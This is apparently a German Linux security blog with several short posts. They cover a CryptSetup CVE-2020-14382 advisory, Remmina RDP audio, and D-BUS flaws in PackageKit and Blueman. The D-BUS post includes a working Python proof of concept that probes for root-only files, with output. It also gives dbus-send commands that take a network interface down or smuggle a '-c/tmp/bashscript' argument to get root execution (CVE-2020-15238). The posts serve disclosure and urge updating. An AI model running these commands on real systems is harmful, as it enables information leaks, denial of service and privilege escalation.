LUKS2: CVE-2020-14382 – out of bounds write

Zeit für ein Update von CryptSetup: CVE-2020-14382

LUKS2: CVE-2020-14382 – out of bounds write

CryptSetup ist das Tool, daß Luks Container, egal ob als Datei oder Festplatte, einhängt und/oder bearbeitet. Eine Lücke im Speicherhandling von CryptSetup kann von einem Angreifer ausgenutzt werden, indem er einen manipulierten Container einer anfälligen Version von CryptSetup präsentiert, was z.B. durch das Einstecken eines USB Sticks ausgelöst wird.

Die Lücke in CryptSetup sorgt dafür, daß weniger Speicher allokiert wird, als tatsächlich angegeben ist, aber von dem manipulierten Inhalt des Containers aufgrund mangelnder Grenzprüfungen, überschrieben werden kann. Damit gelangt ggf. Code an eine Stelle, die von einem anderen Prozess genutzt wird. Die Lücke CVE-2020-14382 kann also ggf. zu Arbitrary-Code-Execution führen, wenn es im System dumm läuft.

Daher empfehle ich Euch kurz mal nach dem Zustand Eures CryptSetup Befehls zu schauen und ggf. zu Updaten, denn auch wenn Ihr selbst keine Festplattenverschlüsslung benutzt, es reicht, daß das Paket auf dem System installiert ist und jemand einen USB Stick einsteckt.

Kleine Anmerkung zur Lage

Falls Ihr die Red Hat Securityliste lest, ist Euch auch aufgefallen, daß da heute ein ganzes Rudel (70+) Sicherheitsadvisories gekommen sind und die Bugs größtenteils Nummern aus 2018 und 2019 tragen? Ich glaube, da ist etwas arg schief gelaufen bei Red Hat.

Remmina: Live Video und Ton

Kleines Update zum RDP-Clienten Remmina.

Remmina: Live Video und Ton

Ohne groß etwas zu tun, kann Remmina seid einiger Zeit etwas mehr als xFreeRDP, nämlich Ton von einem Windowssystem abspielen. Es fiel mir beim Login eher nebenbei auf, daß der Windowsloginton kam, was sonst nicht passierte. Also habe ich da mal nachgeforscht und Youtube gestartet 🙂

Das Ergebnis kann sich sehen lassen, nicht nur, daß das Video ordentlich rüberkam, auch der Ton war syncron.

Tests mit XRDP als Server haben da leider ergeben, daß das nicht zwangsläufig so sein muß. Der kann das auch mit den richtigen PulseAudioLibs, aber gut funktioniert es nicht. Deswegen war ich auch so überrascht, daß es mit dem Windows RDP so gut lief.

Ihr könnt es ja selbst mal ausprobieren, da auf Seiten von Remmina nichts weiter eingestellt werden muß.

D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉